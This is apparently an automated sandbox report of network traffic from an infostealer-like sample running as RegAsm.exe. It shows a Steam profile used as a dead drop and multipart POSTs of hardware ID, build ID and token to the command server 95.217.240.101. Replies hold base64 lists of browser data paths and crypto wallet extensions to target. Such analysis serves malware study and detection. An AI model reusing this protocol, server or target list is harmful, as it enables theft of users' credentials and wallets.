May 15, 2024 20:36:25.141690016 CEST	443	49755	95.217.240.101	192.168.2.4
May 15, 2024 20:36:25.141710043 CEST	443	49755	95.217.240.101	192.168.2.4
May 15, 2024 20:36:25.141769886 CEST	443	49755	95.217.240.101	192.168.2.4
May 15, 2024 20:36:25.141779900 CEST	49755	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:25.141820908 CEST	49755	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:25.142076969 CEST	49755	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:25.142090082 CEST	443	49755	95.217.240.101	192.168.2.4
May 15, 2024 20:36:25.144334078 CEST	49756	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:25.144361019 CEST	443	49756	95.217.240.101	192.168.2.4
May 15, 2024 20:36:25.144438028 CEST	49756	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:25.144632101 CEST	49756	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:25.144644022 CEST	443	49756	95.217.240.101	192.168.2.4
May 15, 2024 20:36:25.609837055 CEST	443	49756	95.217.240.101	192.168.2.4
May 15, 2024 20:36:25.609905958 CEST	49756	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:25.610356092 CEST	49756	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:25.610361099 CEST	443	49756	95.217.240.101	192.168.2.4
May 15, 2024 20:36:25.610538006 CEST	49756	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:25.610543013 CEST	443	49756	95.217.240.101	192.168.2.4
May 15, 2024 20:36:26.520844936 CEST	443	49756	95.217.240.101	192.168.2.4
May 15, 2024 20:36:26.520910025 CEST	443	49756	95.217.240.101	192.168.2.4
May 15, 2024 20:36:26.520927906 CEST	49756	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:26.520960093 CEST	49756	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:26.521200895 CEST	49756	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:26.521219015 CEST	443	49756	95.217.240.101	192.168.2.4
May 15, 2024 20:36:26.538132906 CEST	49757	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:26.538158894 CEST	443	49757	95.217.240.101	192.168.2.4
May 15, 2024 20:36:26.538225889 CEST	49757	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:26.538465977 CEST	49757	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:26.538474083 CEST	443	49757	95.217.240.101	192.168.2.4
May 15, 2024 20:36:27.043344021 CEST	443	49757	95.217.240.101	192.168.2.4
May 15, 2024 20:36:27.043423891 CEST	49757	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:27.043874979 CEST	49757	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:27.043879986 CEST	443	49757	95.217.240.101	192.168.2.4
May 15, 2024 20:36:27.044079065 CEST	49757	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:27.044083118 CEST	443	49757	95.217.240.101	192.168.2.4
May 15, 2024 20:36:27.945219994 CEST	443	49757	95.217.240.101	192.168.2.4
May 15, 2024 20:36:27.945278883 CEST	443	49757	95.217.240.101	192.168.2.4
May 15, 2024 20:36:27.945393085 CEST	49757	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:27.946229935 CEST	49757	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:27.946242094 CEST	443	49757	95.217.240.101	192.168.2.4
May 15, 2024 20:36:28.631943941 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:28.631989002 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:28.632097960 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:28.632378101 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:28.632390022 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:29.097826004 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:29.097913027 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:29.098381996 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:29.098388910 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:29.098560095 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:29.098563910 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:29.098629951 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:29.098640919 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:29.098731995 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:29.098750114 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:29.098970890 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:29.098987103 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:29.099098921 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:29.099123001 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:30.871279001 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:30.871356964 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:30.871372938 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:30.871423960 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:30.871568918 CEST	49758	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:30.871586084 CEST	443	49758	95.217.240.101	192.168.2.4
May 15, 2024 20:36:30.875029087 CEST	49759	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:30.875061989 CEST	443	49759	95.217.240.101	192.168.2.4
May 15, 2024 20:36:30.875139952 CEST	49759	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:30.875329971 CEST	49759	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:30.875341892 CEST	443	49759	95.217.240.101	192.168.2.4
May 15, 2024 20:36:31.373950958 CEST	443	49759	95.217.240.101	192.168.2.4
May 15, 2024 20:36:31.374073029 CEST	49759	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:31.374763966 CEST	49759	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:31.374772072 CEST	443	49759	95.217.240.101	192.168.2.4
May 15, 2024 20:36:31.375241995 CEST	49759	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:31.375247002 CEST	443	49759	95.217.240.101	192.168.2.4
May 15, 2024 20:36:32.309161901 CEST	443	49759	95.217.240.101	192.168.2.4
May 15, 2024 20:36:32.309247017 CEST	49759	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:32.309262991 CEST	443	49759	95.217.240.101	192.168.2.4
May 15, 2024 20:36:32.309294939 CEST	443	49759	95.217.240.101	192.168.2.4
May 15, 2024 20:36:32.309314966 CEST	49759	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:32.309345007 CEST	49759	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:32.309504986 CEST	49759	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:32.309519053 CEST	443	49759	95.217.240.101	192.168.2.4
May 15, 2024 20:36:32.311326027 CEST	49760	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:32.311373949 CEST	443	49760	95.217.240.101	192.168.2.4
May 15, 2024 20:36:32.311466932 CEST	49760	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:32.311731100 CEST	49760	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:32.311738968 CEST	443	49760	95.217.240.101	192.168.2.4
May 15, 2024 20:36:32.777136087 CEST	443	49760	95.217.240.101	192.168.2.4
May 15, 2024 20:36:32.777228117 CEST	49760	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:32.777801991 CEST	49760	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:32.777812004 CEST	443	49760	95.217.240.101	192.168.2.4
May 15, 2024 20:36:32.778048992 CEST	49760	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:32.778053999 CEST	443	49760	95.217.240.101	192.168.2.4
May 15, 2024 20:36:33.676810026 CEST	443	49760	95.217.240.101	192.168.2.4
May 15, 2024 20:36:33.676867008 CEST	443	49760	95.217.240.101	192.168.2.4
May 15, 2024 20:36:33.676986933 CEST	49760	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:33.676986933 CEST	49760	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:33.677092075 CEST	49760	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:33.677110910 CEST	443	49760	95.217.240.101	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 15, 2024 20:35:50.009427071 CEST	58223	53	192.168.2.4	1.1.1.1
May 15, 2024 20:35:50.120599031 CEST	53	58223	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 15, 2024 20:35:50.009427071 CEST	192.168.2.4	1.1.1.1	0xbd2	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 15, 2024 20:35:50.120599031 CEST	1.1.1.1	192.168.2.4	0xbd2	No error (0)	steamcommunity.com		23.194.234.100	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

95.217.240.101

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	23.194.234.100	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:35:50 UTC	119	OUT	GET /profiles/76561199686524322 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:35:51 UTC	1882	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 15 May 2024 18:35:51 GMT Content-Length: 35643 Connection: close Set-Cookie: sessionid=5ec96a72569b8cd0a0d36a61; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbce9df44965cd26b147023c797831e66; Path=/; Secure; HttpOnly; SameSite=None
2024-05-15 18:35:51 UTC	14502	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-05-15 18:35:51 UTC	10074	IN	Data Raw: 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 Data Ascii: a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="
2024-05-15 18:35:51 UTC	11067	IN	Data Raw: 45 42 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 57 45 42 53 49 54 45 5f 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6d 6d 75 6e 69 74 79 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 48 41 52 45 44 5f 43 44 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 68 61 72 65 64 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4c 41 4e 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6c 61 6e 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 4e 52 26 71 75 6f 74 3b 3a 26 71 75 Data Ascii: EB":true,"WEBSITE_ID":"Community","BASE_URL_SHARED_CDN":"https:\/\/shared.cloudflare.steamstatic.com\/","CLAN_CDN_ASSET_URL":"https:\/\/clan.cloudflare.steamstatic.com\/","SNR":&qu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:35:51 UTC	233	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:35:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:35:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:35:53 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHJEBGHJKEBFHIJDHC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:35:53 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 42 44 44 35 42 42 46 31 38 45 34 31 38 36 36 34 38 36 36 33 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="hwid"BBDD5BBF18E41866486636-a33c7340-61ca-11ee-8c18-806e6f6e6963------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------
2024-05-15 18:35:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:35:53 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 30 7c 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|0\|5e2114c344718c2740c7f8c85866bab9\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:35:54 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:35:54 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 Data Ascii: ------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------FHCAEGCBFHJDGCBFHDAFCont
2024-05-15 18:35:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:35:55 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:35:55 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFHCFBGIIJKFHJDHDH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:35:55 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 43 46 42 47 49 49 4a 4b 46 48 4a 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 43 46 42 47 49 49 4a 4b 46 48 4a 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 43 46 42 47 49 49 4a 4b 46 48 4a 44 48 44 48 0d 0a 43 6f 6e 74 Data Ascii: ------DBKFHCFBGIIJKFHJDHDHContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------DBKFHCFBGIIJKFHJDHDHContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------DBKFHCFBGIIJKFHJDHDHCont
2024-05-15 18:35:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:35:56 UTC	5605	IN	Data Raw: 31 35 64 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 15d8TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:35:57 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAAFIDGDAAAAAAAAKEB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:35:57 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------DBAAFIDGDAAAAAAAAKEBCont
